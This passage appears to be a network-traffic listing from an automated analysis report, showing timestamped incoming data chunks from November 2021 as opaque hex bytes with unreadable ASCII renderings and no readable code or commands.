Data Ascii: "rW}>(2DhJ=<%5VzAuS"ZDP]4_9|,b*"*GZ=p8D=9=b<oDFf,d?~?-J|K?ROx/a_|vrSL^p9i`31)z\n,d-%)O$~
>cBg*aSEP+tP?

2021-11-25 16:27:48 UTC 1019 IN Data Raw: 3c f8 8a ae 48 fb d9 41 00 f5 0f 7d 1f e5 dc 69 cc 2b 54 e9 65 7b 74 a8 51 a8 fa 7b ab b4 c7 ec 8f 2d ad d1 28 
d7 f7 77 b7 b6 35 75 ad fb cd 83 fa e5 e1 05 f7 d8 8c 9c 44 eb a7 a7 37 ad 7d 55 4b fb 4a b5 50 ec f0 3f cd 17 7f 2c 22 2e 
ac cc 59 81 6c 1e a5 5c 29 7d 57 0e ad c8 f0 d9 5e d5 44 47 18 ef 96 b5 f3 d9 5e d2 4d 1a f3 55 cd 60 9e 65 2d e0 f7 a5 
6d a0 c1 6f 65 23 6c db 7c 45 86 65 cd e0 5e fb aa 56 d8 7e fc f2 ef 4b db 40 ef 97 55 6d a0 e7 e7 b2 36 e0 fb d2 81 ff e1 
ac ee c6 54 75 1a 20 5d cd b2 9e 5c 06 ab 1a f1 13 f6 95 65 2d 5d 06 cb 5a 6a de af 6a 89 4c 0c cb 1a 68 de ab 1a 38 51 
fa 31 4d 19 07 12 6c 8f 5e 1b d2 f2 94 49 4d b0 cc a9 b4 82 a5 39 1c 3f de 99 72 5a e3 12 d5 72 6b 1d e1 51 e9 6b a3 36 
77 1e ae b6 3f b7 c5 b6 45 fc 9a d8 69 89 93 d3 
Data Ascii: <HA}i+Te{tQ{-(w5uD7}UKJP?,".Yl\)}W^DG^MU`e-moe#l|Ee^V~K@Um6Tu ]\e-]ZjjLh8Q1Ml^IM9?rZrkQk6w?Ei

2021-11-25 16:27:48 UTC 1021 IN Data Raw: 08 4e 56 53 c4 e7 7b 85 72 6a 5b 31 56 6a a5 f7 b0 7e e5 4b ef 9d 3d 8c fc 9e 4f af 64 ec ee 06 39 e5 c1 2b 66 
82 0f e9 ba 69 53 bc 6e 8c 2e 8e 37 db bc a8 af 47 1c d3 17 a3 63 ff 81 29 80 2b bb b3 92 11 3c 28 82 4b 6f 96 df 2d d1 
05 8a 01 36 7d 82 81 cd 57 2f 97 ac 86 90 97 5d c9 3e 1e 56 55 f8 35 11 d1 5b 8e dd 2c e9 32 ab 05 3b 90 a7 9b e1 34 18 
e0 cd 80 a4 fd ac 6c 76 25 f1 26 00 13 77 bb 4b ca c4 c6 46 14 2d 2d fd 29 63 76 d1 e5 8e 2d cb f8 12 c5 21 ea 68 6c d5 
59 d9 97 95 6c eb bf d5 5b 61 7e 7a 51 8f 45 e6 df 1b df a4 99 6b 65 c7 56 75 fd 54 d9 f5 8c 32 99 46 40 26 03 b3 da ac 
ce 06 f2 4e 02 39 99 1c bf 45 03 19 93 d8 ca 25 6c 25 42 ea bf 27 c7 da 9e c7 84 a8 38 b4 d1 aa fa 57 0e f7 87 7f 08 c2 6f 
68 5a 1f 56 0a d6 0f bf a7 67 b1 20 b6 bf 87 92 87 
Data Ascii: NVS{rj[1Vj~K=Od9+fiSn.7Gc)+<(Ko-6}W/]>VU5[,2;4lv%&wKF--)cv-!hlYl[a~zQEkeVuT2F@&N9E%l%B'8
WohZVg 

2021-11-25 16:27:48 UTC 1022 IN Data Raw: 5a 1e 0d 3d 98 5b 90 4b dc 22 b1 de 9f fa d8 d1 5f 95 99 9c 71 8c 98 d7 65 6d cd 3a 91 79 3b 8e d3 30 a1 d4 
4a 21 e3 ce 85 1b 55 0d c2 da 7f b1 bb f9 62 6f 6b 17 6b 3e 3c 58 0d f1 df 46 c5 3f f2 3f a8 ba 12 b2 44 2e 2e 67 b3 cb 65 
72 a1 29 c4 93 51 9c 51 2e 37 8c 65 cc 08 25 34 8f 5b b1 b7 21 0c df 84 e3 d5 49 af df ef 65 ca e3 93 12 88 09 71 15 41 f9 
a8 70 dc 58 aa 2e bf db 91 5f bc 51 92 31 ce ef 39 1a 2e dc 4e b1 2d 2f 87 1d 06 ed 11 1e 67 28 42 98 99 c2 28 d2 a3 44 
64 c4 49 47 fa 65 4e 94 45 d5 08 6e ae c2 eb 20 e2 31 de 54 49 44 3a 91 dd 1d b9 2a 5b dd 6c 84 c9 08 29 ad 1d 14 97 
12 d6 39 7e 92 cf 3d f6 7b 38 be 7e fd 06 3a 4b 00 22 6e cb 3b c0 09 f3 d4 3c 7c 54 6f d6 3b ad 1b 28 70 13 39 25 aa ea 
85 75 91 ba 01 20 ae 3e eb a6 c3 1c 04 53 e7 3e 6d d9 
Data Ascii: Z=[K"_qem:y;0J!Ubokk><XF??D..ger)QQ.7e%4[!IeqApX._Q19.N-/g(B(DdIGeNEn 1TID:*[l)9~={8~:K"n;<|To;(p9
%u >S>m

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 1023 IN Data Raw: a5 13 07 1b c7 c4 00 93 81 23 a2 9a 4d ba 03 55 b0 b8 f5 35 e1 9c 4b bf 11 aa 18 c7 1a c0 06 d0 9f c3 8d 8f 92 
80 4c 43 b8 44 85 9a 58 14 a5 68 e2 fe 0b cd cb 2f 69 25 da 65 e9 61 b2 ae 6e a1 3f b8 9d bb a2 4f 89 65 81 6d 90 65 05 
ec 0a e8 41 be a9 42 ab b8 9e 02 2e 44 2d 13 a1 3a 74 fb 33 b0 c4 c0 3d 37 fe 08 62 27 e6 83 d1 0e e4 f6 89 a6 45 1c 0b 
4c 92 7c 55 81 58 01 1c ba 81 dd 2d d5 90 98 f2 87 9b d8 2d 6d 22 b0 72 62 1b 63 97 09 3f f9 87 b6 d5 d8 50 4d ba f6 b5 
ea a6 86 13 7e 47 78 b3 45 88 4d d0 66 df 1f af 0a 78 52 54 9c 8c 82 a7 f6 7f ff fe ba ee d8 2d ef 6f db be fa fb ab 5b 03 6a 
ed 6f a8 f5 e4 29 81 fb f6 28 b8 7f 87 a9 3c 76 76 bd e6 c2 dd 81 c7 fe 1b 78 cc 26 5e d3 0d 5f 79 9b 0b 77 17 ca 4e f7 a1 
4c e6 e0 6c ba 22 bd 24 bc dc 83 97 03 6c bf 
Data Ascii: #MU5KLCDXh/i%ean?OemeAB.D-:t3=7b'EL|UX--m"rbc?PM~GxEMfxRT-o[jo)(<vvx&^_ywNLl"$l

2021-11-25 16:27:48 UTC 1024 IN Data Raw: a8 08 f0 3c 11 e7 cb d1 30 25 9c 83 ff b1 2b 04 4a 29 75 8b f4 18 24 d4 bb 86 be e2 20 a8 70 27 69 b7 eb 22 4f 
63 eb 31 7c 20 72 3a 2e ef 83 10 46 6b e5 87 38 c5 7b a4 86 4a 06 c9 0b a3 f1 48 30 33 8d 8a 68 bd 1e d9 c6 54 7f 34 33 
a3 f5 ba 2d 49 83 0d 94 ec c2 f1 df f2 8c 0a 8e f7 1a 49 03 1a 84 0a 86 55 02 31 f9 86 07 63 96 89 1e 16 ee 79 11 5c 1b 78
b3 0f ea 59 ef 3b c0 20 50 20 cf 49 5a 8c 52 45 00 7d a0 1c 0e 50 6e 8a 08 15 ad 1e e1 27 9c a5 93 6a c2 fd a4 40 b8 17 
ab 11 e1 7e 52 20 dc 4f 4a 8c 42 a9 c4 ac c3 50 5e 2e f2 57 4e 4a c4 7d a9 84 5d 8a 46 65 d4 a3 22 04 65 86 4e 55 a0 54 
16 65 a2 f8 68 e1 be 2b 0b 01 1e 95 22 b0 f8 a1 e1 6e 8f 94 f4 79 07 0d 7e ba d4 96 75 e6 b8 af c4 e0 86 50 94 2b 8b 80 
e4 05 74 bb 3b c4 b4 e8 af 46 76 d3 f1 5e 11 18 30 
Data Ascii: <0%+J)u$ p'i"Oc1| r:.Fk8{JH03hT43-IIU1cy\xY; P IZRE}Pn'j@~R OJBP^.WNJ}]Fe"eNUTeh+"ny~uP+t;Fv^0

2021-11-25 16:27:48 UTC 1026 IN Data Raw: ab 46 91 92 9b 72 6f 73 fc 4c 04 df 98 3a fe c4 e4 f6 97 19 cf ad ad 75 83 60 ce 5f 5e 5b 1b e0 6f fe f6 c3 43 b9 
87 42 4b ad 76 cb 9e 03 01 be da 70 db 6c 1b 35 c5 3d 94 3f 17 84 d6 98 b8 75 73 00 2d 90 b7 4b 40 d4 6f 57 4e d7 9e e6 
73 75 d6 d6 fa 63 b4 3e 74 a7 ca 12 1c 86 02 d7 08 7c 19 d6 2b e8 14 a0 41 58 47 03 6c 8d a6 4b 61 45 dd c0 83 32 f2 0c 
51 00 81 ea 8d 9b 2a 46 87 6e 03 d3 b0 22 32 4f 31 db 68 1d a1 96 ea c3 60 29 6a 16 ac 55 0e 88 cc 86 49 ce 8e ec d3 
01 9a fe 42 1c fb ca ad 32 76 1f f2 bd 92 92 dc 16 f0 da 88 ef da 04 97 6c 30 96 97 aa 4b 03 19 17 73 9b 21 eb fd 6f e2 b7 
13 98 5c 6f 48 42 9b a3 24 f7 88 89 8a af 10 b0 23 94 dd 8c ea 23 96 45 ae b2 c9 fe 2e 1a db ab 76 6a 3e f2 e8 6b 9d 90 
4d bd e0 25 d1 05 a6 22 74 7d 27 b2 3b 63 1d 71 09 
Data Ascii: FrosL:u`_^[oCBKvpl5=?us-K@oWNsuc>t|+AXGlKaE2Q*Fn"2O1h`)jUIB2vl0Ks!o\oHB$##E.vj>kM%"t}';cq

2021-11-25 16:27:48 UTC 1027 IN Data Raw: ca 8b 45 29 15 d9 9a 4b 43 15 66 7f f9 68 6a 61 1f 46 9a dc d5 d2 6f bd 6c 96 55 f6 9b 06 87 42 bc a2 a3 4c 1a 
68 5a 1c 28 1e e7 e5 a3 d4 87 44 30 74 82 8e 8f a8 8c 63 e9 0d aa cc 06 f2 5b c8 45 ea 2e 45 cc 1c ff b9 cc 55 fb 70 6c 22 
56 72 d9 2e 32 cc f8 29 e0 95 1b ae 65 55 b3 c8 fa 49 65 34 a6 43 05 4c 29 ac 11 05 54 13 13 91 3a 04 8f 20 04 45 9f a5 
a0 89 52 7a fe 0e 29 41 1f 30 47 69 a4 15 9c 7d 0c 2d 3f f4 4b a3 4a 96 8e 8a 2f 9a aa 61 b1 27 d7 61 11 ad 29 44 16 2b 
44 da 92 97 b1 70 96 e8 8c 8b ce d5 c2 22 5d 00 c6 91 99 c9 42 30 09 8d 83 e7 8d df 7f dd 7f 21 82 21 bc 78 be bb b7 b3 
b9 79 80 8f ac 8c 7d 5d c6 e9 68 6a 2a e3 6e 08 11 d5 33 bf f3 32 9c 76 e6 68 91 2d 7d 1f fd f5 f5 8e d3 be ea 6c 3c bb 0e 
d4 bb ab 0e 33 08 5d 96 a2 09 fd 6d 28 d5 b6 32 
Data Ascii: E)KCfhjaFolUBLhZ(D0tc[E.EUpl"Vr.2)eUIe4CL)T: ERz)A0Gi}-?KJ/a'a)D+Dp"]B0!!xy}]hj*n32vh-}l<3]m(2

2021-11-25 16:27:48 UTC 1028 IN Data Raw: cb da 39 28 2c db 68 6e 44 eb 4d e5 89 86 9e ee 94 19 ee 3e 4b 6e f1 d8 7a 9b ee 17 5e 09 19 e4 65 3a 1f a2 
a0 03 51 d4 49 38 ec b5 91 ef 82 bb 8e 2b b9 11 b0 f6 f0 29 b1 7a 1e 2c 04 9c d3 19 a6 41 f5 3e 8e 61 d5 b2 3b 20 4b 06 
f2 35 9c 3a e5 bb 4b 5f 6b 2e d4 f5 41 05 41 d8 6a a0 77 f8 47 03 a0 85 12 0a a9 44 a9 82 62 c0 3b bb b0 3c b1 11 cf 85 
fe 8c f3 fd 66 aa 7c 4b ea d5 c2 58 95 3d 93 16 82 bd e1 fc 9b 2a fd 55 6a 7b 1a bc 93 4f ca d4 4e 61 49 fa 80 bd 99 7c 2a 
93 35 56 15 b5 45 5c 68 9b 98 52 b7 b6 ac 33 e4 46 ed 65 2f a5 4d 03 20 36 69 de c6 06 62 18 a8 72 ad 13 b1 8f 9f 21 6e 
88 04 64 86 e5 34 d4 ec 28 7e 36 58 f8 e1 e4 11 5b db 5b 41 36 73 3f 51 55 92 63 5e 9f f3 01 31 c9 57 91 9c 31 8a d6 dd 
e4 5a 04 7c f9 05 08 40 69 60 71 39 b6 ff ea 93 a4 eb 
Data Ascii: 9(,hnDM>Knz^e:QI8+)z,A>a; K5:K_k.AAjwGDb;<f|KX=*Uj{ONaI|*5VE\hR3Fe/M 6ibr!nd4(~6X[[A6s?Q
Uc^1W1Z|@i`q9

2021-11-25 16:27:48 UTC 1030 IN Data Raw: 1c 88 c5 38 e8 f5 b7 fd f6 ed e7 ed f7 db 47 c7 db 3b 47 c7 47 97 1f 2d 0d 22 09 6c b0 cb 71 25 ef d0 2f 05 ba 
be 21 26 e0 cd d0 e4 1d 16 fe f8 e7 59 f2 c9 0f ee 4d be 2d e3 fa fc 76 63 c3 c5 88 b9 f3 5b 54 5b 21 2d 89 81 c6 2f 23 0c 
d0 6d 18 e9 08 ea e9 d5 c0 4e c8 ee 8e c9 9c dc 9d c4 4b ea 37 c0 75 05 79 d1 67 a0 5f e2 70 68 19 d6 cc f3 61 45 13 ad 
50 36 c2 a0 c9 fa 65 ce 8a d8 40 5f 02 54 a4 56 86 03 27 6d e6 1b 89 c0 68 32 0d c7 f4 ca f6 b4 f9 90 95 f9 bd 1c 1e 11 29 
d2 06 b9 34 2c af 34 0b f5 86 29 d6 55 11 55 0b ee 5d 54 48 2c 74 ff 25 e5 84 bd 6e 61 54 63 d4 15 91 54 3e ec 0d 33 e0 
c4 61 03 b0 04 43 25 a4 c0 85 ea 9b 8b e5 8a 63 5f b8 d2 1d 1d 08 d1 29 93 dd e4 10 e4 b8 cf d1 29 7d ab e8 94 1e d5 d3 
b1 51 cd e8 39 2b db f1 a0 83 3a 1a ec 8a 49 a2 
Data Ascii: 8G;GG-"lq%/!&YM-vc[T[!-/#mNK7uyg_phaEP6e@_TV'mh2)4,4)UU]TH,t%naTcT>3aC%c_))}Q9+:I

2021-11-25 16:27:48 UTC 1031 IN Data Raw: 89 43 be e7 6a ed 59 dc f0 4e 10 a7 07 fa 2b 0e d3 f5 75 a8 bf aa ef 55 68 31 77 a9 e2 07 11 4b e0 95 b0 7e e6 
3f 23 11 07 dd 2d f7 cf 01 bf ce 86 b6 5e ff 15 f1 fd 3b 13 c3 f2 1b 28 38 b2 fc aa c6 7a 24 4d aa cf cc 74 85 21 a5 28 2c 67 
34 0d 81 d5 20 3e 1e 5b 7e c6 ad fb 3c 41 f7 fd d6 b2 17 9e b4 3d 34 83 ae 71 e5 84 82 ad c9 f5 32 82 91 f5 8d 27 33 50 
d9 81 f1 d4 91 4f 4a 6a c5 01 9f c7 13 73 41 85 59 f9 40 54 27 1e e2 75 b7 bc 28 35 c1 01 9f 84 22 8e fd 97 41 05 ee 22 a9
89 ca 73 b7 8b 8a 79 65 c5 62 c2 6b 2c e5 53 7b 93 ca cc 95 40 aa dc 90 db 17 b0 f6 66 6a 27 c3 30 7c 51 1d ea 2c 16 12 
90 45 41 e4 ff 1d d1 22 4e c1 dd 68 62 8e 1a a5 aa 50 8e 13 4e 6b 7a e3 c9 2c 7f b7 2c 03 39 8b 32 e4 9d 86 1d f6 30 a5 
93 59 3d 77 37 e6 49 fb 71 cb 90 33 48 e7 cc 
Data Ascii: CjYN+uUh1wK~?#-^;(8z$Mt!(,g4 >[~<A=4q2'3POJjsAY@T'u(5"A"syebk,S{@fj'0|Q,EA"NhbPNkz,,920Y=w7Iq3H

2021-11-25 16:27:48 UTC 1032 IN Data Raw: 6d d8 ee 76 81 ba e0 73 0d d3 69 9b d3 81 93 74 1e d9 d9 c8 06 d6 27 1a a1 c2 14 2a b4 5b 70 34 3b ad 39 96 
12 2d e6 a2 d1 51 29 26 de ee bb 8b cb b3 93 cf bb 67 a7 97 e7 67 c7 c7 18 51 8a c2 e3 d1 36 93 2c a4 8d 71 bc da 92 9c 
02 08 00 42 65 55 15 b4 54 2d 2f 91 bf 70 3f 7d 58 40 54 a0 33 16 69 c5 5e 62 68 b2 cc a9 d1 da bd aa 36 97 67 5c 87 c9 
bc 19 4b af 52 44 b6 91 8b 0b 94 e3 b5 ed 44 cb 6a de 96 36 59 19 05 b7 c0 78 6e 42 fe 85 44 d4 cd 04 a5 9e 80 db e7 14 
86 5f 64 92 76 4b 29 a4 71 1a ee 5e 15 1a 97 77 37 13 84 14 58 06 a9 44 65 3e b8 c2 b7 e7 3d df 8b f0 d2 47 51 94 34 5f 
9b e8 83 46 56 02 07 a5 85 72 1f ac 93 ad 5c aa c7 1e e0 5b f1 66 0c 04 9f 51 3e 6d d9 7f 21 8f d4 b2 a7 c0 0c a7 ee b4 
de 0f 06 8e 07 65 53 25 21 03 d4 88 2f 55 01 55 9a 4a 8c 
Data Ascii: mvsit'*[p4;9-Q)&ggQ6,qBeUT-/p?}X@T3i^bh6g\KRDDj6YxnBD_dvK)q^w7XDe>=GQ4_FVr\[fQ>m!eS%!/UUJ

2021-11-25 16:27:48 UTC 1033 IN Data Raw: 4b 58 50 9f cb 93 4a c7 10 f5 02 49 3a 03 86 b6 4c d9 68 44 44 93 62 80 92 41 eb cd 12 ea 47 68 10 04 32 31 
32 eb ee 86 43 a4 66 38 88 05 4b 20 87 3c fc ba a5 2b e0 8e 6f 28 b2 77 c7 8f d6 9a c4 c5 66 dd d1 bc 9f ec b2 d6 fb 3d 
90 45 23 e2 51 a2 b5 67 e5 d7 db f3 a4 c7 af ab 5e 90 2c a5 dc 1d 99 8c 03 42 3f 06 b4 33 8c ef 38 af 04 1a 1f 84 df 8c 22 
e0 11 c3 61 6f 80 72 a0 1f 55 a5 ef 93 a2 fb 02 be 70 9c ce e0 ca 88 46 df 00 52 d0 94 fa 04 a3 7d f8 67 e4 64 54 6f 4f d3 
f4 3b 2a 36 0c f5 6b 59 05 7c 01 9d 40 7b 19 45 35 5c b7 90 db 7c 73 a3 02 2d 17 e7 f6 d8 94 2b b7 86 74 4d 62 83 10 a6 
71 8f 00 1e 6a 48 8a 8e 30 0b 72 88 3d d6 84 fd 01 6c da 8a 8a 78 82 00 74 b3 44 6f fd 39 9b c1 69 c7 70 c9 64 6c ba 3b 
5c 06 3b 8a 64 8e 30 7a 4b 26 fe ad cf c8 03 ce a0 
Data Ascii: KXPJI:LhDDbAGh212Cf8K <+o(wf=E#Qg^,B?38"aorUpFR}gdToO;*6kY|@{E5\|s-+tMbqjH0r=lxtDo9ipdl;\;d0zK&

2021-11-25 16:27:48 UTC 1035 IN Data Raw: 6e e0 47 76 db 4d 5b 09 30 bb 49 fa ee fc 68 77 34 18 8f 86 40 8f d9 08 2e e3 3e 1a 4d 3f fd 7b fd 69 c7 b5 6a 
28 62 c2 30 16 8b 85 fb 57 c5 dc f2 cb 24 f4 a5 e5 bb 1a 36 46 aa 6a fc 41 3e c7 8a 4c c9 a3 af ab 6a 2d 8b 90 6b e3 8f e4 
e1 21 f9 23 46 33 92 58 90 b9 96 c5 e3 4e 8d f8 b0 30 1f a4 86 c2 e0 4a 96 c2 c4 57 30 31 85 ab 0a 62 e7 1a 6d ee af 9a 
d7 3e fe 13 44 ad b8 15 af c3 ea af 47 5e e4 29 06 3f 04 d4 bb 6e 63 8d 16 8c 63 5d 84 52 74 38 82 a0 fb a1 0c 87 30 d0 
ed e9 34 bc 03 48 a7 bf 78 fb c9 ed 44 17 f1 e4 65 24 b7 33 81 ed fc 80 94 9b 88 cc 15 5d 25 d7 68 fa c4 57 be 50 1f 22 f5 
44 57 79 b8 6e 5b 78 9f 44 18 b3 12 76 7c 1d d8 e5 e2 f6 c8 8e 28 42 b5 fb 71 19 99 41 f0 15 53 94 2c 1c 40 ec e2 a6 6b 
01 8b 22 11 c0 66 0d ed 35 3e 15 77 35 0a 3e 4e 
Data Ascii: nGvM[0Ihw4@.>M?{ij(b0W$6FjA>Lj-k!#F3XN0JW01bm>DG^)?ncc]Rt804HxDe$3]%hWP"DWyn[xDv|(BqAS,@
k"f5>w5>N

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 1036 IN Data Raw: e6 73 27 07 e1 e6 af 0e 14 97 ca 16 ee ca 2d 10 a7 57 bf 00 e3 d8 fa cf 35 7c 77 c8 8f 2d 0f 1f fa e2 01 7f 4f c4 
6f aa 35 42 8a 16 fe f6 8a 4b 2e 6e 5d e9 6e a9 85 79 08 d9 46 53 92 3d ab ab d1 c2 cd 0a 73 a2 d4 36 a1 0a 0b 45 bb 8c 
c4 19 80 fb 7b 66 b4 55 75 71 32 d0 9f ae 62 db a2 2a 8a 91 1c aa d0 e3 60 5a 71 41 1c 0c 85 e0 d0 9a 03 ee 6b f7 86 69 
62 e5 da 1c 13 dc df a4 77 59 2d 9c a6 b5 bc aa ae bc 94 e4 86 88 9e 07 1c dc be e1 37 5d c1 40 49 4c 0f bc 93 8b dc 6b 
72 ed 9b fc 57 db 69 21 bb c7 81 57 85 1b 21 fc 94 ae 0c a8 7c 0b 7a 53 43 c6 64 46 66 cb 04 96 31 c2 f7 74 49 c8 04 9d 
15 76 51 55 16 7b 27 44 a8 5f 24 d1 68 50 3c 1d a9 b1 8b 85 61 03 7b de 85 2e 9a 4c a3 0e 54 18 e4 09 61 c6 7a d0 d4 
c7 90 a7 20 32 36 45 8d c0 f8 aa 8c d9 90 87 97 91 d4 
Data Ascii: s'-W5|w-Oo5BK.n]nyFS=s6E{fUuq2b*`ZqAkibwY-7]@ILkrWi!W!|zSCdFf1tIvQU{'D_$hP<a{.LTaz 26E

2021-11-25 16:27:48 UTC 1037 IN Data Raw: d6 2c b6 8c 3b 1d cd 76 47 c3 76 af 33 9f 12 1f 3d 10 49 df 94 b9 d7 82 91 d6 c4 b9 5f a0 89 a7 36 02 d8 1a 3d 
a6 08 a5 2b 86 3b c3 06 12 08 fe fc a7 76 0c fc 36 16 b6 d7 31 c9 17 92 81 12 25 b0 64 81 a3 01 d3 fd 29 d9 54 31 ed 3e 
ea ec 2f 66 a3 29 0c fd ca 4a d2 68 0e 30 37 ea 64 d6 35 e7 57 88 82 1e 06 26 9c 8d de 01 32 92 d4 08 89 a5 1f e9 20 1e 
0d b3 51 3f b5 50 20 69 b5 43 e0 09 48 5e 6e 50 1b 30 41 7d 88 37 fa 10 8b 9b db af b8 bb e5 01 b7 f7 25 d9 ef ae 36 c9 
dc 3b ac 1f c5 a6 9e 48 64 a7 09 39 d2 97 48 53 93 f7 20 ca d1 4e 41 ff 6a 95 29 f7 95 f6 b5 86 73 ed e3 b7 d0 1a 97 4f 33 
3c a8 b4 23 c8 00 7c 41 9f 08 72 12 d8 f2 c4 9a 08 c0 e1 33 26 ca 38 cf ae 1e 36 7b 53 55 c7 40 30 3f aa dd 54 b5 61 e7 
1e a9 2c 13 93 c8 da bc 59 15 f5 65 2c bd fd 32 9f 
Data Ascii: ,;vGv3=I_6=+;v61%d)T1>/f)Jh07d5W&2 Q?P iCH^nP0A}7%6;Hd9HS NAj)sO3<#|Ar3&86{SU@0?Ta,Ye,2

2021-11-25 16:27:48 UTC 1038 IN Data Raw: 5f bf 7e 2d 76 0a dc 5b 3a 4c c2 e9 d3 2f 5b 16 5a 4a b8 1f 7e aa 19 06 01 83 e5 c8 78 50 d0 ec 63 b9 d9 30 
9d 7d 1d 4d 6f 67 d3 10 ef a7 b0 5f 9e 4f d8 1f 77 c3 7f 32 29 5a e1 4f 45 98 96 7e ed 71 1e 72 2e 6e 51 54 06 60 04 59 c5 
ce f6 8d 71 60 09 26 48 66 4b b8 18 c8 8d b9 08 a5 49 79 2f 96 39 c5 be b5 f5 b0 76 d4 a3 c8 2b 16 26 7a 78 3b 7a 23 72 
8c bd d6 02 df b5 f9 4d 7b e1 3e a9 d2 af 5b 70 df 40 4f 2d b4 ae 0f 31 2e dc b7 36 49 ff f1 87 6e 36 f3 49 27 69 0e 92 65 
d2 a2 8b 41 a1 2a 39 74 2c ad 1d 16 6a 0f d2 69 c1 33 6e 55 4c 08 59 e7 d7 4a 35 f0 1a 6d 5a 5f 03 39 ba 2a 56 02 5f 87 
2a fa 77 98 d0 6c 1c bf f0 56 f5 65 56 13 a9 a9 b3 aa 43 a3 12 c7 dd c8 ad c9 13 60 d0 21 94 c0 5b df 15 3f 14 fe 5d b8 69 
56 45 da 46 19 f4 8f 16 42 dd 22 de d3 f3 5e c4 
Data Ascii: _~-v[:L/[ZJ~xPc0}Mog_Ow2)ZOE~qr.nQT`Yq`&HfKIy/9v+&zx;z#rM{>[p@O-1.6In6I'ieA*9t,ji3nULYJ5
mZ_9*V_*wlVeVC`![?]iVEFB"^

2021-11-25 16:27:48 UTC 1040 IN Data Raw: a5 d7 80 ed 35 eb ff 2c a3 b8 a4 e8 3c b0 70 e7 45 08 56 06 85 e8 e6 c8 11 d6 32 2d 84 34 3e b2 01 1a a1 00 
85 1f 31 43 39 5d 36 2d 86 f2 9b 4c de d0 09 60 43 8c 10 2d 40 16 7e 02 2a 67 e5 ad f8 9d 07 e7 e4 02 1d cf 43 c9 fb 0e 
da 80 3c 86 ff d4 c7 51 62 c6 89 7a 32 bb f8 c9 42 af da 65 88 b1 77 a5 fd 1f 46 d1 5f 28 37 4f 0c 52 81 bb c4 6f e0 09 6d 
29 e1 cc b2 e9 60 1f 16 04 05 b6 d9 12 b4 6a 64 2e 52 d9 b9 bb d2 a5 fa 5b 05 fe 6f db ab 5f 60 b9 3f b6 6d e9 cf fb a1 4d 
b9 aa 2e db 42 63 f7 35 43 4b 9f 87 07 3b 21 ab 00 87 ec 7e d8 79 0b 9a 64 18 15 59 a0 ec 6a 9c de cf 44 c0 18 4d 25 0c 
d0 b0 b9 ff cc 51 c8 5d e0 7a 95 c8 d0 fd 6a 9e 9d 38 b2 ef cf 3d 34 8e 27 bd 9a 77 13 51 c4 45 86 49 a2 f2 3d f4 18 94 09 
e8 43 3d 47 a4 e3 1e c5 58 82 5c cd b7 a5 d7 86 
Data Ascii: 5,<pEV2-4>1C9]6-L`C-@~*gC<Qbz2BewF_(7ORom)`jd.R[o_`?mM.Bc5CK;!~ydYjDM%Q]zj8=4'wQEI=C=GX\

2021-11-25 16:27:48 UTC 1041 IN Data Raw: ac a6 a7 43 27 1c 30 ea d1 c0 c7 7f 98 9b c4 b9 ab 90 e7 3a 31 c9 17 75 70 1f 0d bc 74 a1 2e 6e f1 f9 4d 63 4a 
8d dc 19 49 ef c1 38 6c 29 9e 2c 3e 93 c7 59 e9 02 31 7c 89 17 ee 69 46 b3 7e 95 95 83 e3 12 99 7a a2 9b 7e 84 ec 6b 86 
57 32 12 e2 c7 3a 9e 2a 3b bd f2 d5 7e 9a 91 84 86 63 f7 ce d8 45 93 07 c2 ae 0e 5d 9e 7c ec 99 a2 5d e2 23 8d 0f 14 9d 
5a 95 73 95 12 d6 b1 85 92 20 40 44 77 82 6b c2 6f 88 22 79 7f 72 d0 6c bc d9 14 82 2c 62 c4 93 f2 f2 51 5d e6 ab 62 38 
95 c6 62 fa 27 06 ed 51 72 fe 2b d8 a3 51 7b 71 07 e4 38 da ec 84 16 fb 9f 0d 02 07 7e 51 44 e5 67 d9 c3 c3 5b 20 2c fd 3f 
e1 87 7d 06 bf dc 3f 33 ca e7 71 ce 5e 52 ac 76 3c cb dc b7 59 01 ca bf d6 05 c1 0f c8 b3 fe d6 0c 0f 97 e3 eb 62 dc 38 49 
86 9f 19 dd 85 cc 83 5c 02 d7 cd 97 d1 59 09 f9 
Data Ascii: C'0:1upt.nMcJI8l),>Y1|iF~z~kW2:*;~cE]|]#Zs @Dwko"yrl,bQ]b8b'Qr+Q{q8~QDg[ ,?}?3q^Rv<Yb8I\Y

2021-11-25 16:27:48 UTC 1042 IN Data Raw: e5 e1 e1 08 ba 10 39 42 e1 e8 00 16 c5 c3 f8 3e d3 32 6c 09 52 9f 3b 15 15 4e 43 0a 4f 2f 76 1f 4d 41 b1 0e be 
01 f4 96 aa a6 33 da 45 57 35 cd 9d c9 94 4a 43 40 4d 9b 5e 2b 82 d5 9d 95 27 94 a7 4b 85 bb 42 bb f6 06 80 37 e8 98 c3 
95 22 fa 4b 29 cf 98 db ad ae 94 e8 95 88 94 16 b0 1f ba 2b 24 69 e0 51 42 13 fc 07 28 c3 e9 ac 40 b9 0f 68 bf 06 d8 d9 
05 6a ee e7 4c 6f 8c cd 7a 02 73 52 88 1a 92 ba a1 b9 0f 85 10 17 f2 7f 29 80 e3 53 4b a8 81 d4 b5 06 07 1b 15 c0 78 be 
8c 4d 19 cf 84 04 df 99 cc a4 65 8e ce 42 8f 1c 5f 11 ee 02 d0 27 4b c0 66 8b ef 5f 1c f4 2a dc 39 2c ff 0d 51 54 bb 4b ae 
b5 37 a8 6d 16 f4 3f ea 9e 23 3a b5 04 44 f3 99 80 94 dc bd 10 7a 68 45 80 d8 98 25 90 c4 a5 e3 a9 aa 39 a1 fe 65 c6 b5 
38 a3 2f f1 51 4f f8 72 99 97 6f c6 4d 0c 96 1c ca 
Data Ascii: 9B>2lR;NCO/vMA3EW5JC@M^+'KB7"K)+$iQB(@hjLozsR)SKxMeB_'Kf_*9,QTK7m?#:DzhE%9e8/QOroM

2021-11-25 16:27:48 UTC 1044 IN Data Raw: f5 e3 56 64 5f 61 9c 4a 8c 9a f2 61 e3 15 ac c2 06 d6 79 87 b1 93 e0 fd 2b a9 b9 bc 87 b1 6f cf 82 6e 62 5f 72 
78 84 8b d8 fe 33 76 95 eb 27 ad 5c ee de f3 f4 26 7b 2a a0 e8 26 a3 78 08 38 ea bd 59 15 5f 1e 2e dc 4e 99 0b 67 2c 86 
e9 c9 2a 6d 13 93 75 0a 11 5f 41 8e a6 e4 18 23 3d 91 c2 75 b4 48 27 17 8b 39 66 8a c1 34 0a a1 9e db 1e be de ad f2 7b 
